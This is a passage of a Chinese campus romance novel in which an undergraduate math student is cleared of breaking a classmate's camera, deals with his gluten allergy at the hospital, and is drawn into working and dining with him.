林杳眠的科研工作也在有条不紊地进行,课题组里只有她一个本科生,还不是科班出身,需要学习的新知识很多。但好在组里的博士生学长很热心,在环境配置和代码上给予了她不少帮助。
唯一的问题是,她太忙了。
思考再三以后,林杳眠决定暂时放弃在奶茶店的兼职。
袁曼香是第一个得知这个消息的,叹了一口气:“唉,终究还是留下姐妹一个人在奶茶店扛起大业。”
“我已经几次和你还有江向阳换过几次班了。我在课题组的任务才刚上手,后面会越来越忙。新闻部那边也有很多事。等大□□出新闻部了,我们再一起兼职。”林杳眠解释。
考虑到的事儿多,这段时间江向阳和袁曼香都尽量把晚班的时间空出来给她。
林杳眠被弄得有点不好意思。
因为奶茶店每小时的时薪是相同的,但下午和傍晚才是营业高峰期,工作量更大。这几天一过八点,她在奶茶店里也就坐那儿读读文献,变相像是在占便宜。
所以她打算下个周末请两个人吃顿饭,表达感谢。
“说什么呢,姐妹们共同致富路线怎么可能被区区几杯奶茶就给斩断了!我们的财富大业就是那不倒翁,迟早摇摇晃晃还能站起来!”
袁曼香说得气势磅礴,但她知道新闻部是林杳眠除了课业以外投入精力最多的地方。
“你大三就打算退出你们部门吗?”
“目前是这样想的。我准备在大三修完所有专业课,大四就专注在科研和博士申请上。”林杳眠点头,背起帆布包,“我们部长找我有点事,我先过去,晚点回来再聊。”
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*
林杳眠推开办公室的门,看见康欣妍表情严肃地站在办公桌旁边。
“学姐怎么了?”她隐隐有种不好的预感。
“郑明要出任务,但来取的时候发现镜头出问题了。但登记册的借阅记录上最后一条记录是你是名字。”康欣妍跟她简明地阐述情况,“你当时还回来的时候,相机有检查过吗?”
“我放回去之前确认过相机完好无损。”林杳眠的眉头轻轻皱起,“镜头出什么问题了?镀膜被划了吗?还是对焦对不上了?”
康欣妍过于凝重的神色让林杳眠心里突然打起鼓。
她最后一次检查相机是礼堂拍摄完成后。
然后她做什么?和庄教授聊天,去同学会聚餐,最后...
林杳眠刹住车,突然后悔把相机包带出绕了这么大一圈,早知道先归还再出去聚餐了。
万一真是路上磕着出点什么毛病...
康欣妍嘴抿成一条直线,把桌上的相机转过来。
黑色的机身比林杳眠常用的那台要小一圈。
这台相机不是部门采购的R8,而是宋淮靳的私人物品。
光学玻璃表面像冬天被冰层封住的湖面,细细的裂纹辗转交错,极力保持脆弱的平衡,又仿佛随时会四分五裂。
林杳眠脱口而出:“不可能。”
在相机包的保护下,她就是背着相机在二环路上跑十圈也不可能造成这种程度的损坏。
吱呀一声,办公室的门被挤开。
宋淮靳单肩挎着包,抱着一颗足球进来了。
他穿了一件长袖的训练服,下摆宽松,但长袖部分被撑满了,起伏的线条像休眠的火山,在必要时刻可以释放出令人颤栗的动能。
康欣妍把刚才和林杳眠说过的话又和他解释了一遍。
听完以后,宋淮靳扫一眼深棕色桌面上的相机,语气淡然,像在问一件和他毫无相关的事。
“所以现在要怎么处理?”
康欣妍误会了这句话的意思,以为他直接到了来兴师问罪的环节。
“她只是登记册上写的最后一个用相机的人。”康欣妍想说中途可能有其他人动用过相机,只是没有在登记册上留下记录。
林杳眠在新闻部干了一年多了,按照康欣妍对这位学妹的了解,出了问题肯定会第一时间上报。
宋淮靳放下臂怀里的足球,踩在脚底,终于把目光投向安静站在旁边的林杳眠。
林杳眠一直没说话。理性思维告诉她,没有做过的事那就是没有做过。但感性上,她又是登记册记录的最后一个用过相机的人,万一查不出第二人怎么办,
她的大脑在两者的混沌之间摇摆,等到康欣妍叫她名字的时候,才堪堪回过神。
然后撞进了澄澈又灼人的目光。
“查监控吧。相机不是她弄坏的。”
康欣妍听到宋淮靳直截了当的话,表情错愕。
“你怎么知道?”
宋淮靳唇边扯起一个浅淡的笑:“她还相机的时候我见过,东西是好的。”
康欣妍沉默一会儿,说:“我去通知楠姐,她这两天出去开会了。楠姐才能跟保安处申请调监控。你们先回去吧。”
从办公室出来,顶灯依旧没有修好,漆黑一片,狭隘的走廊像被粗糙的暗色呢绒面料包裹,一眼望过去是暗昏昏的沉默。
前方有一道高而直的背影。
穿过走廊,来到有光亮的过道,冷风紧一阵缓一阵地吹过去。
林杳眠终于出声,叫住前面的人。
“宋淮靳。”
8. 谎言
前方的背影踩住足球,停了下来,
林杳眠犹豫片刻,轻声问道:“你刚刚为什么要那样说?”
宋淮靳脚下动作一晃,足球在外力的作用下向后一滑,他转过身。
林杳眠并没有注意到他的表情变化,因为她的注意力落在了那颗滚动的足球上。
即使没有足球,她也可能发现不了。
因为她在说话的时候经常习惯性地回避他的目光。
宋淮靳的眼尾耷拉下去,辗转成不高兴的形状。
“我说什么了?”
“那天你在车上没有看过相机,所以你也不知道里面相机是好的还是坏的。”
足球非常戏剧性地停在了林杳眠的脚边,她不知道是凑巧,还是宋淮靳控制了踢球的力道。
黑色的正五边形和白色正六边形经过精密计算,严丝合缝地拼接在一起,像一张不透风的网。
“我以为你至少会说句谢谢。”
宋淮靳说得心平气和。
但林杳眠抬头看向他的时候,那双理应泛着光泽的眼睛像失了真,化作深不见底的幽影。
他心情不太好。
过了大约半分钟,林杳眠开口,声音还是很轻。
“谢谢。”
“但是说谎不合适,我后面会自己跟部长说清楚的,我没有做的事,不需要通过撒谎来澄清。但还是谢谢你。”
“我撒谎?”
宋淮靳一字一顿地重复一遍,然后走到她面前缓慢地蹲下。
他捡起球,没有立刻起身,而是冷不丁抬头直直,撞进她的眼睛,嘴边勾起一个讽刺的弧度。
“我说什么谎了?”
“怎么?东西是你摔的?”
林杳眠一时间失语,她低着头,被迫和他无声无息地对视。
头顶的白炽灯笼罩出一层柔和的光,在他的额头、鼻梁、脸颊上流动,像彗星尾巴闪烁。
其实他有一双清亮诱人的眼睛,只是在最初的几次偶遇里隐匿在阴影下,被帽子遮挡住了。她才没有发现。
林杳眠觉得她从一开始就弄错了,对他的认知走上了一条偏差的道路。
宋淮靳单膝半跪着,仰头看了很久,女生的表情复杂,茫然、后悔、无措,像绸缎上的丝线交织在一起。
但她还是没有说话。
也可能只是不愿意和他说话。
他在踢完球的每个傍晚路过她兼职的奶茶店,她对所有人都是笑意盈盈的。
到他这里跟躲洪水猛兽似的,连联系方式也不愿意给。
他在过去的确做过不少违心的事,但大部分时候是被哄着的,在勉强自我的同时也得到了想要的补偿,并非一味地顺从别人。
宋淮靳猝然站起来。他比林杳眠高一大头,身高差带来了十足的压迫感。
他冷冷看她:“放心,几万块的东西而已。真是你弄坏的也不会让你赔。”
林杳眠僵持住,纹丝不动地站在原地。
鼓鼓胀胀的情绪像一只气球,一下子被戳破,消散在冷空气中。
她该说点什么?她应该要说点什么才对。
等了很久,宋淮靳没有得到任何回应。
他看见她水雾般的眼睛,和他擦身而过的身影。
那个身影很轻微地撞过他的肩膀的时候,宋淮靳闻到淡淡的栀子花香。当他再次呼吸,浅浅的香味消失了,楼梯里传来脚步声,像鼓点一样越变越快。
等脚步声停止,宋淮靳抬眼看栏杆外,楼下女生的背影化成一个小黑点跑出大门,消失在树林遮掩的小道。
砰地一声,黑白相间的球状物被扔出去,重重地砸在楼梯口的墙面。
*
回到寝室,迎接林杳眠的是低低的哭声,还有袁曼香一脸无奈的表情。
林杳眠的情绪还没完全缓解,但她不想被看出异样。
看着伏在书桌前的叶佳媛,林杳眠对袁曼香做了一个口型:“她怎么了?”
袁曼香悄无声息地回答:“分手了。”
林杳眠想走过去,却被袁曼香一把拉住。
袁曼香附在她耳边悄悄说:“别,我试过安慰她,被吼回来了。让她一个人呆会儿吧。”
一连几天,叶佳媛都住在寝室里,白天在阳台打电话,有时候破口大骂,有时候哭哭啼啼,断断续续的哭声也延续到了深夜。
叶佳媛不愿意主动说,林杳眠和袁曼香也不好问,两个人默默去超市买了耳塞。
“你说她之前偶尔回来都趾高气扬,怎么现在跟丢了魂似的,根本和之前判若两人。”袁曼香在回寝室的路上感叹到。
林杳眠戳着纸杯里的关东煮,摇头:“不知道。可能这就是爱情的力量吧。”
袁曼香忽然站定,嗅到了不同寻常的味道:“快说,你最近是不是有情况?你们班上有人追你?”
“没有啊。为什么这么问?”林杳眠愣住。
“你要不要听听你刚刚那个语气?一幅苦大仇深早就吃够了爱情的苦的样子。”
“哪有?”林杳眠哭笑不得,“我是最近太忙累出来的,实验室那边的模型跑了几次,结果都不理想。再加上这几天没有睡好...”
袁曼香幽幽地叹一声:“那能怎么办呢?希望她早点走出来吧。她还是谈着恋爱好,不回寝室住,不然天天被人拿鼻孔看着,谁受得了。现在在寝室头倒是低下来了,又开始放情绪炸弹,我都不敢在寝室自习了。”
...
可惜耳塞并没有把良好的睡眠还给林杳眠,她心里装着事,睡一会儿醒一会儿,熬到天亮。
去实验室的时候,师兄还以为她生病了,问要不要请假几天。林杳眠勉强笑笑,说自己最近没有休息好。
林杳眠就这样浑浑噩噩地等到了楠姐在群里发布的通知。
郑明因为违反纪律被开除出新闻部。
楠姐还严厉要求剩下的部门成员以后不允许把私人设备留在部门办公室。哪怕是需要相互借用,也要直接归还给本人。
康欣妍在私聊中告诉了林杳眠更多详细的情况。
「郑明手下不是带着宋淮靳吗,经常用那台相机。用多了,虚荣心作祟,悄悄把相机带去漫展上拍照,结果不小心磕了,就想着偷偷放回去,蒙混过关。楠姐一去保安室查监控就露馅了。」
真相大白,应该是一件挺高兴的事。
林杳眠对着手机屏幕发呆。
康欣妍的新消息接着蹦出来。
「你看你还方便吗?郑明走了,宋淮靳没人带了。之前郑明手里的任务也要重新分配,排班表也得重新弄。如果你觉得ok的话,我跟他协调下时间,我先把你那份优先排出来。」
林杳眠在聊天框里删删减减,打出一句完整的话。
「他没问题的话,我这边也没问题。」
她在和人打交道方面总是温温和和,不会与人交恶。但那天在教学楼过道的场景还历历在目,在她看来,那次交流已经称得上是非常不愉快。
所以宋淮靳也不一定想再和她共事。
康欣妍发来一个大笑的表情:「他能有什么问题。」
林杳眠沉默,只希望宋淮靳在拒绝的时候可以找个体面的理由。
就像上次申请换人一样。
*
宋淮靳收到康欣妍通知的时候,坐在皮质的卡座沙发上。
对于这个圈子里爱玩的人来说,九点标志着夜生活才刚刚开始,DJ在台上播
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放着预热的前摇音乐,声浪如潮水般淹没过男男女女。
“喂,你不喝了吗?今天不喝,今年可就没机会跟兄弟喝了。”许州誉用力拍了下宋淮靳的肩膀。
两个人是高中同学,宿舍单人间也是挨在一块的,他们那一届唯二的中国学生。
许州誉觉得宋淮靳简直不按常理出牌,他们高中知名校友的名字凑起来是大英帝国的半边历史。宋淮靳的成绩比他好,正常情况下,毕业以后不是美国藤校就是英国牛剑。
结果许州誉万万没想到,自家兄弟回了趟国,再回来就收拾包袱跑到京大了。
当时他还问过一嘴:“你怎么留个学,留着留着留回我老家了?”
宋淮靳哼笑一声,回答:“家里逼的。”
许州誉知道宋淮靳是港岛人。但家里具体干什么的,宋淮靳从没提过。
听说港岛那边的有钱人迷信得很,干什么都要起一卦。让宋淮靳去内地念书,许州誉觉得这主意是他家里人找风水大师算出来的也说不定。
再过两天,许州誉要回英国上大学,他招呼上了一帮狐朋狗友喝酒践行。
宋淮靳在京市人生地不熟。许州誉的圈子就是他的圈子。
众人轮流拿过菜单点酒,混熟了的人都知道宋淮靳在喝酒上口味挑剔,啤酒绝对不喝,烈酒也看种类和牌子,最爱的是朗姆和白兰地。
宋淮靳靠在沙发上,仰脸看见悬挂在天花板上的圆柱体照灯,光线像被绞碎了,晃得眼睛疼。
他越看越觉得那个照灯像一个会发光的相机镜头。
“靳哥,你喝这个吗?刚刚服务员介绍这是店里新进的精酿...”
宋淮靳睁开眼,从沙发上坐起来,看向面前跟他说话的女生。女生身穿深蓝色的吊带裙,妆容光鲜靓丽,端着一托盘淡黄色的酒,手腕上的银色细链在灯光下闪闪发亮。
有点眼熟。
宋淮靳眼睛一眯,想起来了。
他开学报道那天,跟着许州誉一起来京大找他的那个女生,还在在奶茶店买了奶茶。
当时他站在树下,抬头的瞬间,看见了另外一个人微微怔然的脸,两个人目光一对上,她就躲开了。
眼前的女生手里拿着托盘,精致致的玻璃杯盛满的液体在灯光下折射出蜂蜜般的色泽。
这种液体在他的禁止饮用的名单上。
宋淮靳盯着不断从杯底升起的细密的气泡,仿佛无休无尽的欲望瀑布。
他伸手端起来,一饮而尽。一杯,两杯,三杯...
宋淮靳默默地计数。在差不多的时候,他丢下空空的玻璃杯,站起来整理好衣袖,戴上卫衣的帽子:“帮我跟许州誉说一声,我先走了。费用我一个人结,当给他赔罪。”
其他客人都是往店里进的,只有宋淮靳一个人是逆着人流往外走的。从闪烁的灯光和节奏强劲的音乐中挤出来,感官世界的缭乱混沌消失了。
门童恭恭敬敬地替他打开玻璃门,迎面扑来潮湿的冷空气。
宋淮靳摊开手,摸到天空里掉下来的雨点。
新鲜空气沿着卫衣帽子的边缘钻进去,流淌在皮肤表面。
酒精渐渐地钻进神经,产生微弱的快感,却又随着呼吸一点点减弱,最后消失殆尽。在烈酒的洗礼下,他的身体可以轻松适应酒精,却并不能代谢掉啤酒中的另外一种物质。
寒冷很快转变成为至深的空虚感和孤独感,将他整个人牢牢嵌在里面。
宋淮靳在路边拦下出租车,对司机报出一个地址。
他想见一个人。
尽管他不知道她在这个时间点是否还在奶茶店里。
她经常晚上在,但也不是每晚。
但他可以去碰碰运气。
9. 迷惑
雨酥酥地下,冲得空气潮湿,一阵凉风卷起。糟糕的天气浇灭了学生们来买奶茶的热情。
林杳眠看着时间,再过一个小时就可以闭门歇业。
今天是她在奶茶店兼职的最后一个晚上。
林杳眠早在微信上向奶茶店老板表达了辞职的意愿。老板答应后爽快地给她结算了剩下的工资。
开学季不好招人,这会儿大一新生们逐渐习惯了校园生活,一些学生开始寻找勤工俭学的机会。
林杳眠也松了口气。去掉奶茶店的兼职工作,日程表上会多出不少空闲时间。她可以先把前段时间缺失的睡眠补回来,然后全神贯注地投入到日常学业和科研中。
还有另外一个好消息。
算上这一笔工资,买相机的钱快存够了。
林杳眠把注意力重新放到平板电脑上的英文文献上。
雨越下越大,淅淅沥沥变成噼里啪啦。
屏幕上密密麻麻的字母演化成杂乱无章的排列组合,仿佛要从纸上跳出来。
实验室师兄告诉她,如果这个项目能够顺利进行,论文发表的时候会带上她的名字。她有新的想法也可以随时在组会讨论。
“我不知道你打算具体申什么方向,但是多几篇发表总没错。想有更多竞争力的话,你可能需要成为发表的第一作者。”师兄是这么跟林杳眠说的。
她要做的事还有很多。
林杳眠听见店外的脚步声。
这个天气还出来买奶茶也是稀奇。
她撇开手中的平板电脑,站起来问:“请问要喝什么吗?”
看清楚那个黑衣人的脸,林杳眠僵立在原地。
高挺的男生穿着一件厚卫衣,领口收得严严实实,整个人都被包裹在黑色里。卫衣帽子被拉起来,遮住大半张脸,零散的碎发被雨打湿,软趴趴地贴在他额头前面。薄薄的嘴唇抿成一条线。
他站在那儿,一言不发地看着她。眼眸像装着融化的焦糖,被反复搅拌,化作一团浓稠。
“宋淮靳?”
听到自己的名字从她嘴里叫出来,宋淮靳眼睫微微颤动,很快垂下去,情绪不明。
林杳眠不知道他为什么这个时间点出现在奶茶店门口,也不知道他是否收到了康欣妍的通知,拒绝还是同意。
“外面下雨,你先进来吧。”她转身去果筐里拿出一颗柠檬,切成片放进装满热水的纸杯,加两泵百香果蜜。
宋淮靳走到店里的小桌前,拉开椅子坐下。
上次他坐在那儿的时候,墙上的风扇还呼啦啦地转。而现在已经是十一月了,京市的气温骤降,一件卫衣不足以御寒,何况还在下雨。
冒着热气的纸杯放到小桌上。
宋淮靳抬头问她:“多少钱?”
“不要钱,我请你。”
“谢谢你之前帮我。”
不知道说的哪一次。
宋淮靳漆黑的眼睛倒映着一个熠熠的笑容,像挂在远处的太阳,亮得晃眼。
她明明不喜欢和他有接触,但在偶尔几个相似的瞬间,她又愿意暂时性地接纳他,关心他。
被酒精麻痹过的大脑神经忽然疼起来。
想不明白。
宋淮靳沉默地伸出手,拉下黑色卫衣的帽子,被压得乱七八糟的头发得到释放,凌乱地散开在头顶。脖子白皙的皮肤上爬了几道红痕,歪歪扭扭像增生在皮肤表面的疤痕。
暧昧又不言而喻的痕迹。
不需要推敲的细节像积木一样搭起来,林杳眠嘴角的笑逐渐演变为微窘。
他的公寓离校西门不远。
这个时间点只套了一件卫衣出门。
脖子上像被指甲抓的。
宋淮靳的本质或许和管皓不一样。
但改变不了剩下的事实,长相出挑,家庭条件好。这样的男生在哪儿都不缺女孩子追,不谈恋爱才是新奇事。
不过事后跑出来给女朋友买奶茶确实不像他的作风。
林杳眠突然想起开学那次来买奶茶的女生。
印象里那个女生很漂亮,很会打扮,两个人很般配。
宋淮靳注意到她凝固的笑,手还虚放在纸杯上。
“怎么了?”
林杳眠猛然回过神,飘远了的想法不受控制地从口中说出来:“你要给你女朋友买什么奶茶?”
“什么?”宋淮靳以为自己听错了。
“你不是要买奶茶吗?”林杳眠也觉得刚才问得太直白。
头疼会让感官变得更加敏锐。宋淮靳当然听清楚了她说的上一句话。他拔高音量:“你哪只眼睛看出来的我要给人买奶茶?!”
这不是两只眼睛都看到了。
林杳眠实在没法用语言描述他皮肤上令人浮想联翩的场景,只好略带尴尬地指了下自己脖颈的位置。
宋淮靳一抬手,意识到什么,太阳穴突突地跳。尽管湿润的碎发紧贴前额的皮肤,他说话语气却像炸了毛。
“我没有女朋友!我这个是过敏,才不是被人睡的!”
-
这一次急诊室的医生要温和得多,简单检查过宋淮靳的情况,利索地嘱咐两句,开了处方单。
天气交替,气温下降,医院里来看病的时候,夜晚的取药窗口也要排队。
站在队伍里,林杳眠说出那句想了很久的话:“你既然知道自己过敏,就别喝酒了。”
宋淮靳低着头,睫毛搭下来,敞亮的白光打在他侧颈。
“我不是酒精过敏。”
“啊?”林杳眠一愣,扭过头,看见他嘴唇紧抿,不高兴的情绪敞亮地写在脸上。
“我...”宋淮靳发出单音节后,像是话被卡住了。
他皱起眉头,迟迟不吭声,好一会儿才接着说:“我Gluten过敏。”
宋淮靳不知道Gluten的中文叫什么。
他在大脑对语言输入最敏感的阶段被一个人丢在瑞士,负责照顾他生活起居的管家会和保姆佣人们都说德语。在他的中文老师看来,宋淮靳在这种环境下能说一口流利的中文已经算是奇迹。
林杳眠不知道他的想法,只看得出他似乎更不高兴了。
如果她知道的话,会贴心地告诉他,她在上大学之前从来没有出过芜川,她不知
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道这个词语。
直到他给了她那一袋面包,Gluten是麸质的意思。
林杳眠把装着药的袋子递给他:“不管怎么说,少喝点酒对身体好。以前我外婆经常说,身体是革命的本钱,健康比什么都重要。出门在外要照顾好自己,不要让家里人担心...”
她的手不小心触碰到他手背的皮肤,一瞬间的滚热传递到指间,可能因为过敏的缘故,他的体温比正常要高。
“他们不会担心我。”宋淮靳用一种相当平静的口吻说。
他的语气过于平静,更像一把钝掉的小刀,从身体里划开一道口子。
林杳眠怔住。
宋淮靳一直以来给她的感觉,放荡不羁,我行我素,像是蜜罐子里泡大的,有一点不顺心就不高兴。
但现在她又窥见一丝微弱的落寞,又很快消散在空气中。
在她想出合适的安慰话术之前,宋淮靳先转移了话题,微微一笑,换上轻松礼貌的面孔:“我明天还可以来找你吗?”
林杳眠本能地开始思考逻辑关系。
当她想要在在数学上证明某个结论时,必须从已知的公理出发,一步一步往下,每一步的需要因果关系。
宋淮靳没有给她这个机会,接着说:“康部长说以后我要跟着你学习,时间表上的下一次采访活动在后天。”
“我们不需要在此之前见一面吗?”
“我有很多东西都还不懂。”
林杳眠的思维不自觉被带着走,迟疑地说:“但是我明天不在奶茶店,我已经辞掉兼职了。”
意味着他以后每个路过奶茶店的傍晚不会再看见她。
但也有好处,她不用再和那个男生交接了。
宋淮靳依旧微笑地注视她:“好吧。那可以加个微信吗?至少我明天知道在哪儿找你。”
他的眼睛具有十足的迷惑性,焦糖彻底融化以后从琥珀变为深邃的棕色,表面咕噜冒出气泡,甜蜜又诱人的陷阱。
所以林杳眠在大脑完成思考之前,说出了一个字。
“好。”
从医院出来,走到下一个十字路口,林杳眠知道他该往左转,那边是富丽堂皇的商业区,往右是京大的校园。
林杳眠对旁边的人说:“时间不早了,你快点回家吧,”
“我送你回寝室。”
“不用不用。就几步路的事”
林杳眠摆摆手。
街边的路灯投下斑驳光影,凉飕飕的风悄无声息地吹过宽敞的街道,钻进外套下摆的冷让她又缓慢地找回几分理智。
今天两个人的相处状态似乎偏离了正常的轨道,变得诡异起来,向一个不该往下的方向驶去。但她还想不出是哪里出了问题。
“我送你。”宋淮靳盯着她,“作为交换,我答应你以后少喝酒。”
林杳眠想说这两件事情之间没有必然联系,少喝酒是为他自己的身体好,而且转弯以后几步路就是校西门,西门到她的宿舍楼不过五分钟的路程。
但是林杳眠和那双眼睛对视的时候,拒绝的话未能够说出口。
她又掉进去了。
10. 正余弦
“你说,如果一个男生一直要加你联系方式是什么意思?”
林杳眠双腿盘坐在床上,手机里是搜索页面。
馒头、面条、蛋糕、热狗。啤酒...
林杳眠在通常含麸质的食品名单里看到各种饭桌上常见的品类,甚至连酱油也在里面。
她的外婆以前在吃上相当讲究,
春多食苦,夏多食酸。秋天不吃茄子,冬天不碰寒物。
跟着外婆长大的林杳眠想象不出一个人是怎么在不能享受美食的情况下活下去的。
“谁要加你?”
袁曼香觉察到不对劲,停止和她小偶像黑粉的网络对线,把手机丢到一边。
林杳眠含糊其辞:“一个学弟。”
“江向阳?”
“不是。”林杳眠赶紧否认,“是我在新闻部遇到一个学弟。”
袁曼香转过椅子,给她认真分析起来:“噢。按我的理解有两种情况。第一种,他是流氓变态想要骚扰你。之前隔壁土木院不是出过类似的事吗?那个男生通过专业群给全系的女生都发了好友申请,谁加上就聊谁。要我说,也是脑子有泡。土木院才几个女生?寝室都住不满一排,私下随便一聊就扒出来了。”
林杳眠不愿意把宋淮靳划分到这一类。她起初对他产生过刻板印象,他的一些行为看起来很恶劣,细想后也没有真正意义上的越界。
他用来形容管皓的词语仍然记忆犹新,他同样不喜欢那一类人。
“那第二种呢?”
“第二种...可能是想要追求真爱吧。”
“...”
袁曼香看林杳眠一幅被哽住的样子,解释得理所当然。
“你这么优秀的人有人追不是很正常的事吗?假如我是男的,把你领回家给我爸妈说,这是我女朋友。我妈估计第二天能她单位的所有同事知道我谈了个京大的对象。哦不对,还有加一个形容词,京大二字班的对象,当年她们省的理科状元。”
“你说得太夸张了,我们班...”林杳眠停顿一下,“我们班大部分同学都是普通人。”
大部分人,包括她。
林杳眠又说:“不过我觉得他应该两种都不是,他找我一般是因为部门内部的事。”
*
虽然是周六,林杳眠吃过午饭后还是收拾资料去了自习室。
她刚把书本拿出来,手机叮地一声弹出提醒。
「你下午有空吗?」
隔着屏幕,林杳眠的理智始终在线。
「你有什么问题吗?」
「明天不是要出任务?有一些准备上的问题想问你。」
林杳眠把下午的计划告诉宋淮靳:「我下午在三教上自习,五点结束。」
对方回复迅速,从善如流:「好的,那我五点来找你。」
昨天晚上诡异的感觉仿佛用珐琅锅煮焦糖时咕噜咕噜往上冒的气泡。
林杳眠现在是一个人,没有外界的力量引诱她。她完全有时间停下来捋一捋,把黏稠的气泡都戳破,然后隐藏在深棕色糖蜜中那些昭然若揭的心思会马上显露出来。
但林杳眠没有这样做,而是翻开了桌上的数学分析教材。她计划在五点之前要复习完上周学习的内容。
草稿纸越写越多,林杳眠看见一排又一排参数化后的积分式,只有一个想法:头疼。
一只手突然反敲在桌子上。
林杳眠抬头一看。
一个背着包。齐刘海的短发女生冲她笑,小声说:“这么巧,你今天也来三教自习?”
二字班的同班同学,拿过IMO金牌的女生,闻妙冬。
林杳眠笑了下,点头:“好巧。”
闻妙冬大概是刚到自习室,她指了个方向:“恰好看到你来打个招呼。你接着看,我先过去了。”
林杳眠继续写下一行化简后的积分式子。
除了普通练习题,教授还留了一页附加题,并且强调这个是超出考试难度的“挑战项目”,有兴趣的同学可以试一试,没有解出来也没关系,在下一节课上会简单讨论答案。
林杳眠写了快一摞草稿纸了,像在森林迷宫找路,屡屡碰壁,又回到上一个岔路口重新选择另外一个方向,又是死路。
一直试,一直试,往复循环,到最后不禁让人怀疑有没有答案。
快到五点了。
林杳眠放下笔,盯着满页的草稿看了一会儿,然后站起来往刚才闻妙冬指的方向走过去。
“教授布置的附加题你有看过吗?”
林杳眠看见闻妙冬面前也写了厚厚一摞草稿纸。
“哪一道?”
林杳眠把打印出来的题目递过去,指了指已经被圈得面目全非的题干。
“这道啊...”
林杳眠以为闻妙冬需要多一点思考时间。
十秒以后,闻妙冬说:“积分出来的答案应该是正弦加余弦。”
“正弦加余弦?”
因为是在自习室,两个人说话刻意将音量压到最小。
林杳眠希望自己听错了。
闻妙冬的注意力还在纸上,她点点头,拿起笔:“我之前做过一道类似的,不出意外的话答案是正弦加余弦,我在这儿下面算一遍可以吗?”
“可以。”
林杳眠看见纸上前几步解题步骤和她之前做的差不多,但她思考得更慢,需要把每一步细节都写下来。
最后闻妙冬只留下几个关键步骤,算出来的答案果然是正弦加余弦。
林杳眠忘了是怎么和闻妙冬说谢谢,又是怎么拿回题目纸回到座位上的。当她反应过来的时候,已经坐在自己的位置上。在一堆密密麻麻的草稿中间,打印的题目下手写的步骤不到十行。
没有任何一个学科可以像数学一样带给人纯粹的挫败感。
不行就是不行,不会就是不会。
这门需要天赋门槛的学科并不会因为一个人的恼羞成怒便施舍答案。
她写了十多页纸,甚至不知道自己是否在接近正确解。
难怪入学的时候,教授笑着告诉大家,百分八十的同学毕业后,不会留在基础数学的领域深耕。
普通人搞不了数学。大部分都是普通人。
当她跟袁曼香说大部分人的时候,闻妙冬不是其中之一。
*
秋风把放射状的扇形黄叶从树枝上摘下来。
从自习室出来之前,大脑高强度运转了一下午,林杳眠只想回宿舍睡一觉。她突然有点后悔答应宋淮靳谈事情了,其实明天早上再碰面也不影响。
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宋淮靳在微信给她发过消息,所以林杳眠在银杏树下看见他的时候并不意外。
他戴着棒球帽,时不时低头看一眼手机,眼神里没什么温度,仿佛对正在发生的事漠不关心。
站在他面前的女生表情相反,面带俏色。
隔着一段距离,林杳眠也能听见女生的声音,她听不懂内容,单纯觉得女生说话挺好听,粤语的九声六调,听起来抑扬顿挫,跟唱歌似的。
如果宋淮靳不出声打断这个调子,她能一直听下去。
“你搞错了,我不会说粤语。”
女生明显一愣,意识到自己刚刚说的一大段话是在对牛弹琴,切换到普通话,难以置信地说:“你不是港岛人吗?”
这句话一出,林杳眠看见宋淮靳的嘴角眼可见地下垂。
他又要不高兴了。
很快,宋淮靳冷漠的语气证实了这一点。
“谁规定的港岛人一定要说粤语?”
被反问以后,女生浮出错愕的神情,又升级为愤怒,最后化作一个词:“仆街!”
女生扯起托特包,又反应过来面前的人不会粤语,又补了一句:“有病!”
然后才昂头离开。
从被搭讪到被骂,全程不到两分钟。
林杳眠终于没有忍住,短促地笑了下,
一声笑被闹剧的主角听见了。
宋淮靳转过头,声音很沉下去:“你看够了吗?”
林杳眠收住笑,以为他是真生气了,轻轻咳一声,解释道:“我不是故意,正好出来碰见你被...”
宋淮靳迅速打断她剩下的话:“那你应该直接帮我,结果你就站在旁边看着我被骂。”
林杳眠觉得刚才那个女生也是一时性急才说的话。
声情并茂地说一大堆,最后发现对面根本听不懂,换她来也难免生气。
“我以为你会说粤语呢。”
“你什么时候听过我说粤语?”
林杳眠粗略地回想一下,好像确实没有。
“我以为港岛人都会说粤语呢。”她尴尬地摸下鼻子,“而且你不知道有句老话吗?毁人良缘,罪业难消。”
宋淮靳语气里的不满意都要溢出来了。
“什么良缘?你明明都看出来我不想跟她讲话了。而且我是被分配到你手下的,我来找你问工作上的事,你更要对我负责才对。你上次被人纠缠的时候,我怎么做的?我主动帮你把人赶跑了...”
林杳眠听到前半段,还想提醒他负责两个字不是这么用,到后半段,反而沉默下来。
他说的也没错,当时在管皓快要拉住她的时候,他主动出声叫她的名字,然后帮她解了围。
他为什么要这么做。
林杳眠想起袁曼香假设的两种情况,她好像漏掉了一些东西。
原本有机会想清楚,但她冥冥中错过了。
宋淮靳发现了林杳眠失神的不对劲,不再喋喋不休。
他浅显地把原因归到了管皓这号人物上。那天的场景中,林杳眠对这个人避之不及,比躲他还躲得厉害。
他当时就该直接往那个人脸上来一拳的。
公学里教给他的体面的处理方式一点用也没有。
宋淮靳面无表情地把手机揣回兜里。
11. 力的作用
林杳眠意识到她又上当了。
身穿正装的服务员向她简短介绍了今晚的八道式套餐,并询问她有无食物过敏史。
而轮到宋淮靳的时候就麻烦多了,他坐在对面跟服务员说了一长串不能够吃的东西。
林杳眠低头翻过一页菜单,中文介绍的上一排顶着不知道是意大利语,还是法语。他大概很了解,否则不会跟服务员细节确认到某一道菜是否加了哪一种具体的香料。
与此同时,林杳眠蓦然明白诡异的感觉从从何而来。
他说,快到吃饭时间,边吃边聊。
很合理。
他说,他食物过敏很严重,不能随随便便找个餐馆吃。
也很合理。
但她不应该坐在这儿。
像是荒谬的数学证明过程,逻辑链条全程崩塌,但是偏偏结果蒙对了。
一个函数无处不连续,但处处不可微。
宋淮靳合上菜单,暖黄色的氛围光落在他的眼睛里。
他冲她露出一个温和的笑:“你还想加什么吗?”
林杳眠下意识地摇头。
宋淮靳放在桌上的手机震动起来,他瞥一眼,手指滑动,把屏幕反扣在桌上。手机像案板大难临头的鱼,挣扎几下后陷入安静。
“你在听到我不会说粤语的时候,好像很惊讶。”
林杳眠愣一下,解释:“我有认识的学姐在港岛读书,她说在那边会说粤语和不会说,完全是两种生活。”
宋淮靳只在港岛呆过短暂的两年。他在一所国际学校读书,有同学的父亲是经常在电视机上露面的政要,有同学的母亲是跨国集团的总裁,所有同学的家庭都非富即贵,但没有人知道他从哪里来。
对于一个插班生,不会说粤语是绝对的缺陷。那些人私下叫他有点傻钱的大陆仔。宋淮靳懒得理。他们逐渐变本加厉,路过的嘲笑声,课桌里出现的不明物,放学后的围追堵截。
终于宋淮靳在一个阳光明媚的下午,问了领头的男生:“你爸做什么的?”
